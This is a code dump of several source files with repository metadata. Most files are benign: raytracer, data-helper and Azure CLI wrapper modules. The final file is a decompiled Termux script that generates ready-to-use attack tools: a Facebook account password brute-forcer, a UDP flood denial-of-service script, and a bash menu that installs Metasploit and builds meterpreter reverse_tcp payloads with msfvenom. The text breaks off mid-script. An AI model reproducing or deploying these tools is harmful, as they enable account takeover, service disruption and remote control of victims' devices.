f58e6148d7d6b4f777d53189a0b54639d489aff7
442
py
Python
raytracer/scene.py
spl0k/raytracer
fdf518c6510a75bcbf05948affa49b86b8325837
[ "MIT" ]
null
null
null
raytracer/scene.py
spl0k/raytracer
fdf518c6510a75bcbf05948affa49b86b8325837
[ "MIT" ]
null
null
null
raytracer/scene.py
spl0k/raytracer
fdf518c6510a75bcbf05948affa49b86b8325837
[ "MIT" ]
null
null
null
from dataclasses import dataclass, field from typing import List, TYPE_CHECKING from .math.color import Color from .camera import Camera from .light import Light from .renderable.renderable import Renderable @dataclass class Scene: cameras: List[Camera] lights: List[Light] objects: List[Renderable] background: Color = field(default=Color(0, 0, 0, 1)) ambient: Color = field(default=Color(0, 0, 0, 1))
26
57
0.71267
59
442
5.322034
0.40678
0.025478
0.10828
0.140127
0.165605
0.165605
0.165605
0.165605
0
0
0
0.022599
0.199095
442
16
58
27.625
0.864407
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.461538
0
0.923077
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
3
190fd467ef35662f7fd98743d6679ec13751d428
268
py
Python
activemri/experimental/cvpr19_models/__init__.py
qinliuliuqin/active-mri-acquisition
b561f838667f4bc7753b1f89dfbdd545d0f00ada
[ "MIT" ]
32
2020-10-05T19:46:56.000Z
2022-02-15T10:37:13.000Z
activemri/experimental/cvpr19_models/__init__.py
qinliuliuqin/active-mri-acquisition
b561f838667f4bc7753b1f89dfbdd545d0f00ada
[ "MIT" ]
2
2020-12-28T21:05:57.000Z
2022-01-22T17:56:50.000Z
activemri/experimental/cvpr19_models/__init__.py
qinliuliuqin/active-mri-acquisition
b561f838667f4bc7753b1f89dfbdd545d0f00ada
[ "MIT" ]
9
2020-11-22T18:15:04.000Z
2022-02-11T06:07:38.000Z
# Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from . import data, models, options, util __all__ = ["data", "models", "options", "util"]
29.777778
65
0.720149
40
268
4.725
0.75
0.10582
0.179894
0.222222
0
0
0
0
0
0
0
0
0.179104
268
8
66
33.5
0.859091
0.626866
0
0
0
0
0.21875
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
192683d9285b1517c1d607507af1ffd4cd39ea7d
464
py
Python
3_spotify_playlists/booleanize.py
djsegal/metis
54b84108a58d3e95679b519eb361e6916a693709
[ "MIT" ]
1
2020-06-22T12:21:15.000Z
2020-06-22T12:21:15.000Z
X_airbnb_revisited/airbnb_pricer/utils/booleanize.py
djsegal/metis
54b84108a58d3e95679b519eb361e6916a693709
[ "MIT" ]
null
null
null
X_airbnb_revisited/airbnb_pricer/utils/booleanize.py
djsegal/metis
54b84108a58d3e95679b519eb361e6916a693709
[ "MIT" ]
null
null
null
import numpy as np def booleanize(tokamak_data): for cur_col in tokamak_data.columns: sub_data = tokamak_data[cur_col] if sorted(np.unique(sub_data)) != [0, 1]: continue tokamak_data[cur_col] = list( map(bool, sub_data) ) def unbooleanize(tokamak_data): for cur_col in tokamak_data.columns: sub_data = tokamak_data[cur_col] if sub_data.dtype != bool : continue tokamak_data[cur_col] = list( map(int, sub_data) )
23.2
54
0.6875
71
464
4.211268
0.366197
0.294314
0.187291
0.227425
0.655518
0.655518
0.655518
0.441472
0.441472
0.441472
0
0.005464
0.211207
464
19
55
24.421053
0.811475
0
0
0.4
0
0
0
0
0
0
0
0
0
1
0.133333
false
0
0.066667
0
0.2
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
1958478258605bb9a540ff5f0f75a09e6b46fe1a
165
py
Python
data-tool/flows/common/query_utils.py
leksmall/lear
cc7d75be830d12bfcc33b89bb2c4f34795bcd518
[ "Apache-2.0" ]
null
null
null
data-tool/flows/common/query_utils.py
leksmall/lear
cc7d75be830d12bfcc33b89bb2c4f34795bcd518
[ "Apache-2.0" ]
null
null
null
data-tool/flows/common/query_utils.py
leksmall/lear
cc7d75be830d12bfcc33b89bb2c4f34795bcd518
[ "Apache-2.0" ]
null
null
null
import pandas as pd def convert_result_set_to_dict(rs): df = pd.DataFrame(rs, columns=rs.keys()) result_dict = df.to_dict('records') return result_dict
23.571429
44
0.721212
27
165
4.148148
0.62963
0.107143
0
0
0
0
0
0
0
0
0
0
0.169697
165
6
45
27.5
0.817518
0
0
0
0
0
0.042424
0
0
0
0
0
0
1
0.2
false
0
0.2
0
0.6
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
196e26484b8f040ea4a016a0807f721c17c330ff
4,996
py
Python
pyaz/sf/managed_cluster/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
null
null
null
pyaz/sf/managed_cluster/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
null
null
null
pyaz/sf/managed_cluster/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
1
2022-02-03T09:12:01.000Z
2022-02-03T09:12:01.000Z
from ... pyaz_utils import _call_az from . import client_certificate def list(resource_group=None): ''' List managed clusters. Optional Parameters: - resource_group -- Specify the resource group name. You can configure the default group using `az configure --defaults group=<name>` ''' return _call_az("az sf managed-cluster list", locals()) def delete(cluster_name, resource_group): ''' Delete a managed cluster. Required Parameters: - cluster_name -- Specify the name of the cluster, if not given it will be same as resource group name - resource_group -- Specify the resource group name. You can configure the default group using `az configure --defaults group=<name>` ''' return _call_az("az sf managed-cluster delete", locals()) def show(cluster_name, resource_group): ''' Show the properties of an Azure Service Fabric managed cluster. Required Parameters: - cluster_name -- Specify the name of the cluster, if not given it will be same as resource group name - resource_group -- Specify the resource group name. You can configure the default group using `az configure --defaults group=<name>` ''' return _call_az("az sf managed-cluster show", locals()) def create(admin_password, cluster_name, resource_group, admin_user_name=None, client_cert_common_name=None, client_cert_is_admin=None, client_cert_issuer_thumbprint=None, client_cert_thumbprint=None, client_connection_port=None, cluster_code_version=None, cluster_upgrade_cadence=None, cluster_upgrade_mode=None, dns_name=None, gateway_connection_port=None, location=None, sku=None, tags=None): ''' Delete a managed cluster. Required Parameters: - admin_password -- Admin password used for the virtual machines. - cluster_name -- Specify the name of the cluster, if not given it will be same as resource group name - resource_group -- Specify the resource group name. You can configure the default group using `az configure --defaults group=<name>` Optional Parameters: - admin_user_name -- Admin user used for the virtual machines. - client_cert_common_name -- Client certificate common name. - client_cert_is_admin -- Client authentication type. - client_cert_issuer_thumbprint -- Space-separated list of issuer thumbprints. - client_cert_thumbprint -- Client certificate thumbprint. - client_connection_port -- Port used for client connections to the cluster. - cluster_code_version -- Cluster service fabric code version. Only use if upgrade mode is Manual. - cluster_upgrade_cadence -- The upgrade mode of the cluster when new Service Fabric runtime version is available Wave0: Cluster upgrade starts immediately after a new version is rolled out. Recommended for Test/Dev clusters.Wave1: Cluster upgrade starts 7 days after a new version is rolled out. Recommended for Pre-prod clusters.Wave2: Cluster upgrade starts 14 days after a new version is rolled out. Recommended for Production clusters. - cluster_upgrade_mode -- The upgrade mode of the cluster when new Service Fabric runtime version is available Automatic: The cluster will be automatically upgraded to the latest Service Fabric runtime version, upgrade_cadence will determine when the upgrade starts after the new version becomes available.Manual: The cluster will not be automatically upgraded to the latest Service Fabric runtime version. The cluster is upgraded by setting the code_version property in the cluster resource. - dns_name -- Cluster's dns name. - gateway_connection_port -- Port used for http connections to the cluster. - location -- Location. Values from: `az account list-locations`. You can configure the default location using `az configure --defaults location=<location>`. - sku -- Cluster's Sku, the options are Basic: it will have a minimum of 3 seed nodes and only allows 1 node type and Standard: it will have a minimum of 5 seed nodes and allows multiple node types. - tags -- space-separated tags: key[=value] [key[=value] ...]. Use '' to clear existing tags. ''' return _call_az("az sf managed-cluster create", locals()) def update(cluster_name, resource_group, client_connection_port=None, dns_name=None, gateway_connection_port=None, tags=None): ''' Update a managed cluster. Required Parameters: - cluster_name -- Specify the name of the cluster, if not given it will be same as resource group name - resource_group -- Specify the resource group name. You can configure the default group using `az configure --defaults group=<name>` Optional Parameters: - client_connection_port -- Port used for client connections to the cluster. - dns_name -- Cluster's dns name - gateway_connection_port -- Port used for http connections to the cluster. - tags -- space-separated tags: key[=value] [key[=value] ...]. Use '' to clear existing tags. ''' return _call_az("az sf managed-cluster update", locals())
61.679012
496
0.753203
710
4,996
5.167606
0.197183
0.067321
0.041701
0.029436
0.585446
0.565004
0.541837
0.541837
0.520033
0.508858
0
0.002184
0.17534
4,996
80
497
62.45
0.88835
0.747198
0
0
0
0
0.130019
0
0
0
0
0
0
1
0.416667
false
0.083333
0.166667
0
1
0.083333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
3
19781ce20cf5f747b90789f3e4f26e791d378c1c
31,435
py
Python
Creator/tegar_dec.py
shyamjangid07/Reverse-Engineering
469efabcd6057f7895d8d891f1fabdf2ffe730b0
[ "Apache-2.0" ]
337
2020-08-15T12:22:14.000Z
2022-03-29T06:05:15.000Z
Creator/tegar_dec.py
Wh014M/Reverse-Engineering
f7aae2c43f7ea4a6730964d085c07814b6660a53
[ "Apache-2.0" ]
3
2020-11-12T14:30:48.000Z
2021-05-18T16:56:22.000Z
Creator/tegar_dec.py
Wh014M/Reverse-Engineering
f7aae2c43f7ea4a6730964d085c07814b6660a53
[ "Apache-2.0" ]
83
2020-08-15T00:22:58.000Z
2022-03-31T08:40:23.000Z
# Decompiled by HTR-TECH | TAHMID RAYAT # Github : https://github.com/htr-tech #--------------------------------------- # Auto Dis Parser 2.2.0 # Source File : tegar.py # Time : Sun Aug 9 11:07:58 2020 #--------------------------------------- #!usr/bin/python2.7 # -*- coding: UTF-8 -*- # Hayo mau ngapain # Jangan di Recode Om kalo gk mau kena denda 400jt import os,time,sys # Warna wd = "\033[90;1m" # dark GL = "\033[96;1m" # Blue aqua BB = "\033[34;1m" # Blue light YY = "\033[33;1m" # Yellow light GG = "\033[32;1m" # Green light WW = "\033[0;1m" # White light RR = "\033[31;1m" # Red light CC = "\033[36;1m" # Cyan light B = "\033[34m" # Blue Y = "\033[33;1m" # Yellow G = "\033[32m" # Green W = "\033[0;1m" # White R = "\033[31m" # Red C = "\033[36;1m" # Cyan os.system("clear") def tik(): titik = ['. ','.. ','... ','....'] for o in titik: print(Y+"\r["+R+"●"+Y+"] "+G+"Loading "+B+" "+o),;sys.stdout.flush();time.sleep(1) def tik2(): titik = ['. ','.. ','... ','....','... ','.. ','. ',' '] for o in titik: print(Y+"\r["+R+"●"+Y+"] "+G+"Checking License "+B+" "+o),;sys.stdout.flush();time.sleep(1) def tik3(): titik = ['. ','.. ','... ','....','... ','.. ','. ',' ','. ','.. ','... ','....','... ','.. ','. ',' '] for o in titik: print(Y+"\r["+R+"●"+Y+"] "+G+"Loading To Create Tool "+B+" "+o),;sys.stdout.flush();time.sleep(1) def banner(): os.system("clear") print R+"──"+Y+"▄▀▀▀▄"+R+"───────────────" print R+"──"+Y+"█"+R+"───"+Y+"█"+R+"───────────────" print R+"─"+Y+"███████"+R+"─────────"+Y+"▄▀▀▄"+R+"─" print B+"░"+Y+"██─▀─██"+B+"░░"+Y+"█▀█▀▀▀▀█"+B+"░░"+Y+"█"+B+"░" print B+"░"+Y+"███▄███"+B+"░░"+Y+"▀"+B+"░"+Y+"▀"+B+"░░░░░"+Y+"▀▀"+B+"░░" print W+"╔═════════════════════════════════════════╗" print W+"║ "+B+"* "+W+"Author : Tegar-ID ║" print W+"║ "+B+"* "+R+"FansPage"+W+": Termux Is Fun ║" print W+"║ "+B+"* "+W+"Github : https://github.com/Tegar-ID ║" print W+"╚═════════════════════════════════════════╝" print G+" v0.1" print " " print W+"["+Y+"1"+W+"] Login Tools" print W+"["+Y+"2"+W+"] Install Package" print W+"["+Y+"3"+W+"] Contact Author" print W+"["+R+"0"+W+"] Exit" print " " pilih = raw_input(Y+"["+R+"root"+Y+"/"+B+"Tegar-ID"+Y+"]"+R+"> ") if pilih == "1": tik() time.sleep(2) banner2() elif pilih == "2": tik() os.system("clear") print W+"["+R+"!"+W+"] Wait To Installing Package" time.sleep(2) os.system("pkg install git") os.system("pkg install python2") os.system("pkg install python") os.system("pkg install nano") os.system("pip2 install requests") os.system("pip2 install mechanize") os.system("pip2 install bs4") os.system("clear") print "["+R+"✔"+W+"]installing Done" time.sleep(2) os.system("clear") banner() elif pilih == "3": tik() os.system("xdg-open 'http://wa.me/+6282125068665' ") banner() elif pilih == "0": os.system("clear") print Y+"["+R+"*"+Y+"] "+W+"Thanks To Use My Tools "+Y+"["+R+"*"+Y+"]" time.sleep(2) os.system("clear") else : tik() print "pilihan tidak ada" time.sleep(2) banner() def banner2(): os.system("clear") print R+" " print "──"+Y+"▄▀▀▀▄"+R+"───────────────" print R+"──"+Y+"█"+R+"───"+Y+"█"+R+"───────────────" print R+"─"+Y+"███████"+R+"─────────"+Y+"▄▀▀▄"+R+"─" print B+"░"+Y+"██─▀─██"+B+"░░"+Y+"█▀█▀▀▀▀█"+B+"░░"+Y+"█"+B+"░" print B+"░"+Y+"███▄███"+B+"░░"+Y+"▀"+B+"░"+Y+"▀"+B+"░░░░░"+Y+"▀▀"+B+"░░" print W+"╔═════════════════════════════════════════╗" print W+"║ "+B+"* "+W+"Author : Tegar-ID ║" print W+"║ "+B+"* "+R+"FansPage"+W+": Termux Is Fun ║" print W+"║ "+B+"* "+W+"Github : https://github.com/Tegar-ID ║" print W+"╚═════════════════════════════════════════╝" print G+" v0.1" print " " print Y+"Jika belum Tau kode License nya silahkan ketik asal dulu\nanti akan otomatis menuju link mediafire terus\nkalian download file txt nya terus buka dan disitu\nada kode licensenya" print " " licensi = raw_input(B+"["+R+"LICENSE"+B+"] "+G+"= ") if licensi == "Hd8keb38cjebididbwbfidnb2ifnb39cbebfo": tik2() print "Login Succes" time.sleep(2) banner3() else : tik2() print R+"License tidak cocok" print "Download dulu kode License nya" os.system("xdg-open 'https://www.mediafire.com/download/lhiowhzidd1sbmj' ") time.sleep(2) banner2() def banner3(): os.system("clear") print W+" " print W+" ╔═══════════╗" print W+" ╔═╝███████████╚═╗ "+B+"╔══╗╔═╗╔══╗╔══╗╔═╗ "+R+"╔══╗╔══╗" print W+" ╔╝███████████████╚╗ "+B+"╚╗╔╝║╦╝║╔═╣║╔╗║║╬║ "+R+"╚║║╝╚╗╗║" print W+" ║█████████████████║ "+B+"─║║─║╩╗║╚╗║║╠╣║║╗╣ "+R+"╔║║╗╔╩╝║" print W+" ║█████████████████║ "+B+"─╚╝─╚═╝╚══╝╚╝╚╝╚╩╝ "+R+"╚══╝╚══╝" print W+" ║█████████████████║" print W+" ║█╔█████████████╗█║ "+R+"[ "+Y+"Menu Pilihan "+R+"]" print W+" ╚╦╝███▒▒███▒▒███╚╦╝" print W+" ╔╝██▒▒▒▒███▒▒▒▒██╚╗ ["+G+"1"+W+"] Create Tools" print W+" ║██▒▒▒▒▒███▒▒▒▒▒██║ ["+G+"2"+W+"] Edit Tools" print W+" ║██▒▒▒▒█████▒▒▒▒██║ ["+G+"3"+W+"] Remove Tools" print W+" ╚╗███████████████╔╝ ["+G+"4"+W+"] Move it Tools to "+Y+"/sdcard" print W+" ╔═╬══╦╝██▒█▒██╚╦══╝ ["+R+"0"+W+"] Exit Program" print W+" ║█║══║█████████║" print W+" ║█║══║█║██║██║█║ "+G+"v0.1" print W+" ║█║══╚═╩══╩╦═╩═╩═╦╗" print W+" ╔╝█╚══╦═╦══╦╩═╦═╦═╩╝" print W+"╔╝█████║█║██║██║█║" print W+"║██████║█████████║" print " " pilih = raw_input(Y+"["+R+"root"+Y+"/"+B+"Tegar-ID"+Y+"]"+R+"> ") if pilih == "1": tik() banner4() elif pilih == "2": tik() banner5() elif pilih == "3": tik() banner6() elif pilih == "4": tik() banner7() elif pilih == "0": os.system("clear") print Y+"["+R+"*"+Y+"] "+W+"Thanks To Use My Tools "+Y+"["+R+"*"+Y+"]" time.sleep(2) else : tik() print "Pilihan Tidak Ada" time.sleep(2) banner3() def banner4(): os.system("clear") print W+" " print W+" ╔═══════════╗" print W+" ╔═╝███████████╚═╗ "+B+"╔══╗╔═╗╔══╗╔══╗╔═╗ "+R+"╔══╗╔══╗" print W+" ╔╝███████████████╚╗ "+B+"╚╗╔╝║╦╝║╔═╣║╔╗║║╬║ "+R+"╚║║╝╚╗╗║" print W+" ║█████████████████║ "+B+"─║║─║╩╗║╚╗║║╠╣║║╗╣ "+R+"╔║║╗╔╩╝║" print W+" ║█████████████████║ "+B+"─╚╝─╚═╝╚══╝╚╝╚╝╚╩╝ "+R+"╚══╝╚══╝" print W+" ║█████████████████║" print W+" ║█╔█████████████╗█║ "+R+"[ "+Y+"Menu Pilihan "+R+"]" print W+" ╚╦╝███▒▒███▒▒███╚╦╝" print W+" ╔╝██▒▒▒▒███▒▒▒▒██╚╗ ["+G+"1"+W+"] Create Tools Hack Fb" print W+" ║██▒▒▒▒▒███▒▒▒▒▒██║ ["+G+"2"+W+"] Create Tools Installer DarkFb" print W+" ║██▒▒▒▒█████▒▒▒▒██║ ["+G+"3"+W+"] Create Tools Ddos" print W+" ╚╗███████████████╔╝ ["+G+"4"+W+"] Create Tools Xsploit Installer" print W+" ╔═╬══╦╝██▒█▒██╚╦══╝ ["+R+"0"+W+"] Exit To Menu" print W+" ║█║══║█████████║" print W+" ║█║══║█║██║██║█║ "+G+"v0.1" print W+" ║█║══╚═╩══╩╦═╩═╩═╦╗" print W+" ╔╝█╚══╦═╦══╦╩═╦═╦═╩╝" print W+"╔╝█████║█║██║██║█║" print W+"║██████║█████████║" print " " pilih = raw_input(Y+"["+R+"root"+Y+"/"+B+"Tegar-ID"+Y+"]"+R+"> ") if pilih == "0": tik() banner3() if pilih == "1": f = open('HackFb.py', 'a') f.write("""#!usr/bin/python2.7 # -*- coding: UTF-8 -*- #Created by Tegar ID # SILAHKAN COSTUMISASI SENDIRI YA BOSQ # import os import sys import time import random import cookielib import mechanize wd = "\033[90;1m" # dark GL = "\033[96;1m" # Blue aqua BB = "\033[34;1m" # Blue light YY = "\033[33;1m" # Yellow light GG = "\033[32;1m" # Green light WW = "\033[0;1m" # White light RR = "\033[31;1m" # Red light CC = "\033[36;1m" # Cyan light B = "\033[34m" # Blue Y = "\033[33;1m" # Yellow G = "\033[32m" # Green W = "\033[0;1m" # White R = "\033[31m" # Red C = "\033[36;1m" # Cyan def runntxt(s): for noobs in s + '\n': sys.stdout.write(noobs) sys.stdout.flush() time.sleep(10. / 2100) def banner(): os.system('clear') print Y+"╔══════════════════════════════════════════╗" print Y+"║ * Author : NAMA KAMU ║" print Y+"║ * YouTube : Channel Youtube Kamu ║" print Y+"║ * Whatsapp : Whatsapp Kamu ║" print Y+"╚══════════════════════════════════════════╝" banner () email_target = str(raw_input(GL+"\033[92mMasukkan Email/Id Target =>\033[93m ")) password_list = str(raw_input(GG+"Ketik pass.txt =>\033[93m ")) login = 'https://www.facebook.com/login.php?login_attempt=1' useragents = [('Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Geck')] # useragents = [('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36','Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36','Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36','Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',)] def pil(): print GG+" " g = str(raw_input("[?] Coba Lagi ?\033[93;1m[y/n]: ")) if g == 'y' or g == 'Y': os.system('python2 force.py') elif g == 'n' or g == 'N': print wd+"Keluar dari program..." sys.exit() else: print RR+"Pilih yang bener cuk..." pil() def edit_wordlist(): print GG+" " ed = str(raw_input("[?] Edit wordlist bos? \033[96;1m[y/n]: ")) if ed == 'y' or ed == 'Y': os.system('nano '+password_list) pil() elif ed == 'n' or ed == 'N': print wd+"Keluar Dari Program..." sys.exit() else: print RR+"Pilih yg bener..." edit_wordlist() def main(): global noobs noobs = mechanize.Browser() cj = cookielib.LWPCookieJar() noobs.set_handle_robots(False) noobs.set_handle_redirect(True) noobs.set_cookiejar(cj) noobs.set_handle_equiv(True) noobs.set_handle_referer(True) noobs.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) runn_noobs() life() print " " print RR+" wordlist tidak ada yg cocok..." print " " def BLANK(hack_password): try: sys.stdout.write(GG+"\n[\033[91m+\033[92m]\033[91;1m [\033[97m"+email_target+"\033[91m]\033[90m Mencoba Password ==> \033[91m[\033[90;1m"+hack_password) sys.stdout.flush() noobs.addheaders = [('User-agent', random.choice(useragents))] site = noobs.open(login) noobs.select_form(nr = 0) noobs.form['email'] = email_target noobs.form['pass'] = hack_password tom = noobs.submit() mask = tom.geturl() if mask != login and (not 'login_attempt' in mask): print " " print ("\033[96m S U C C E S S") print " P A S S W O R D F I N D " print RR+"+-------------------------------------------+" print (RR+"#\033[97m ID / Email Target:\033[92m {}").format(email_target) print (RR+"#\033[97m Password Target:\033[92m {}").format(hack_password) print " " raw_input(WW+"TEKAN ENTER UNTUK KELUAR...") sys.exit(1) except KeyboardInterrupt: print wd+"Stop......." edit_wordlist() sys.exit() def life(): global hack_password password_nob = open(password_list, "r") for hack_password in password_nob: password_nob = hack_password.replace("\n","") BLANK(hack_password) def runn_noobs(): global password_list lop = GG+"\033[90;1m[RG4]Black_Coder\033[91;1m\nCreator by:\033[97m Tegar ID print lop nuub = open(password_list, 'r') nuub = nuub.readlines() print wd+" [#] ID / Username Target\033[97;1m: {}".format(email_target) print wd+" [#] Jumlah Wordlist Saat Ini\033[97;1m:", len(nuub),'password' print wd+" [#] Tunggu Proses Cracking\033[97;1m.........." print " " if __name__=='__main__': main() """) f.close() print W+"Please wait a few minutes "+Y+". . ." tik3() print W+"["+G+"✔"+W+"] "+G+"Success!!" print " " print "Saved in internal tools with name "+Y+"HackFb.py" pilih = raw_input("[Press Enter To Back Menu]") if pilih == "": banner3() else: banner3() elif pilih == "2": f = open('installer.py', 'a') f.write(""" # -*- coding: UTF-8 -*- #Created by Tegar ID import os,sys,time # SILAHKAN COSTUMISASI SENDIRI YA BOSQ # def main(): time.sleep(1) os.system ('clear') print '' os.system ('figlet Tools') print'=================================' print' Author : Your Name ' print' Team : Your Team ' print'=================================' print'++++++++++++ M E N U ++++++++++++' print'[1] Dark Fb v1.7 ' print'[2] Dark Fb v1.8 ' print'[3] Dark Fb Premium ' print'[4] Dark Fb New' print'[5] Dark Fb Diamond ' print'[0] Exit ' gans = raw_input ('==> ') if gans in ['1']: time.sleep(1) os.system ('git clone https://github.com/Mr-XsZ/Dark-Fb') print ('$ lanjut ketikan cd Dark-Fb') print ('$ lalu python2 dark.py') exit() if gans in ['2']: time.sleep(1) os.system ('git clone https://github.com/wira2611/Pro2611') print ('$ lanjut ketikan cd Pro2611') print ('$ lalu python2 Pro.py') exit() if gans in ['3']: time.sleep(1) os.system ('git clone https://github.com/TheMagizz/DarkPremium') print ('$lanjut ketikan cd DarkPremium') print ('$ lalu python2 DarkFB.py') exit() if gans in ['4']: time.sleep(1) os.system ('git clone https://github.com/KingMrZ17/DarkFbNew') print ('$ lanjut ketikan cd DarkFbNew') print ('$ lalu python2 darkfb.py') print (' + Username INDONESIA') print (' + Password MAJU') exit() if gans in ['5']: time.sleep(1) os.system('git clone https://github.com/wira2611/diamon') print ('$ lanjut ketikan cd diamon') print ('$ lalu python2 diamond-1.py') exit() if gans in ['0']: time.sleep(2) exit() else: time.sleep(1) print ' Pilih Yang Bener Goblok . . .' time.sleep(1) main() main() """) f.close() print W+"Please wait a few minutes "+Y+". . ." tik3() print W+"["+G+"✔"+W+"] "+G+"Success!!" print " " print "Saved in internal tools with name "+Y+"installer.py" pilih = raw_input("[Press Enter To Back Menu]") if pilih == "": banner3() else: banner3() elif pilih == "3": f = open('Ddos.py', 'a') f.write(""" #!usr/bin/python2.7 # -*- coding: UTF-8 -*- #Created By Tegar # Silahkan Modifikasi Lagi Sendiri # import os,sys,time import socket import random #Menu os.system("clear") os.system("figlet Nama Kamu") # Ganti Tulisan Nama Kamu os.system("figlet DdosTool") #Fonction os.system("sleep 2") print ip = raw_input("IP : ") port = input("Port : ") #Code sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1490) send = 0 while True: sock.sendto(bytes, (ip,port)) send = send + 100000000000 port = port + 0 print "send %s packet on %s port %s"%(send,ip,port) if port == 65534: port = 0 """) f.close() print W+"Please wait a few minutes "+Y+". . ." tik3() print W+"["+G+"✔"+W+"] "+G+"Success!!" print " " print "Saved in internal tools with name "+Y+"Ddos.py" pilih = raw_input("[Press Enter To Back Menu]") if pilih == "": banner3() else: banner3() elif pilih == "4": f = open('Xsploit.sh', 'a') f.write(""" #!usr/bin/bash #Created by Tegar ID # Silahkan Modifikasi Sendiri # clear blue='\033[34;1m' green='\033[32;1m' purple='\033[35;1m' cyan='\033[36;1m' red='\033[31;1m' white='\033[37;1m' yellow='\033[33;1m' toilet -f future "[=X-Sploit=]" --gay echo "[===============================]" | lolcat echo $blue"༼ つ ◕_◕ ༽つ Code By : Nama Kamu" #Ubah Nama Kamu echo $blue"Fb : Facebook Kamu" # Ubah Facebook Kamu echo "[===============================]" | lolcat sleep 1 echo "Selamat Datang Di X-Sploit" | lolcat echo "[$]========Installing Session========[$]" | lolcat echo $green"(1).>Install Metasploit" echo $green"(2).Install ngrok" echo $white"[$]========Payload Generator========[$]" | lolcat echo $red"(A).Android" echo $red"(W).Windows" echo $red"(L).Linux" echo $red"(M).MacOs" echo $white"[$]========Hacking Website Session========[$]" | lolcat echo $blue"(SQ).Auto Dump Cc dengan sqlmap" echo $blue"(SQ1).Auto Dump Cc Dengan sqlmap (pakek dork)" echo $blue"(D).Auto Deface Web (Method Com_Fabrik)" echo $blue"(D1).Auto Deface Web (Method fox_contact)" echo $blue"(N).Scan Vuln Sql Dengan Nmap" echo $blue"(N1).Scan Subdomain website dengan nmap" echo $red"(X).keluar" echo "[$]========Terminal Session========[$]" | lolcat echo $white"╭─ root@X-Sploit" read -p "╰$ " j if [ $j = 1 ] then pkg install figlet -y figlet Installing pkg install curl -y pkg install git -y pkg install ruby -y curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh chmod +x metasploit.sh ./metasploit.sh echo $red "Metasploit Telah selesai di install" fi if [ $j = 2 ] then pkg install figlet -y figlet Installing pkg install wget -y wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip read -p "Masukin token ngrok lu : " l ./ngrok authtoken $l ./ngrok fi if [ $j = A ] then echo $red"Pastikan Metasploit Sudah Terinstall" sleep 1 read -p "Masukan LocalHost elu : " c read -p "Masukan LocalPort elu : " b read -p "Masukan nama payload nya : " a msfvenom -p android/meterpreter/reverse_tcp LHOST=$c LPORT=$b -o /storage/emulated/0/$a echo $green"Payload Berhasil Dibuat ! silahkan cek payload di memory internal anda" fi if [ $j = W ] then echo $red"Pastikan Metasploit Sudah Terinstall" sleep 1 read -p "Masukan LocalHost elu : " a read -p "Masukan LocalPort elu : " b read -p "Masukan nama payload nya : " c msfvenom -p windows/meterpreter/reverse_tcp LHOST=$a LPORT=$b -o /storage/emulated/0/$c echo $green"Payload Berhasil Dibuat ! silahkan cek payload di memory internal anda" fi if [ $j = L ] then echo $red"Pastikan Metasploit Sudah Terinstall" sleep 1 read -p "Masukin LocalHost elu : " a read -p "Masukin LocalPort elu : " b read -p "Masukan nama payload nya : " c echo "[========Pilih Jenis Os========]" | lolcat echo $blue"(1).aarch64" echo $blue"(2).x64" echo $blue"(3).x86" echo "[========Pilih Jenis Os========]" | lolcat read -p "Pilih : " h if [ $h = 1 ] then msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=$a LPORT=$b -o /storage/emulated/0/$c echo $green"Payload Berhasil Dibuat ! silahkan cek payload di memory internal anda" fi if [ $h = 2 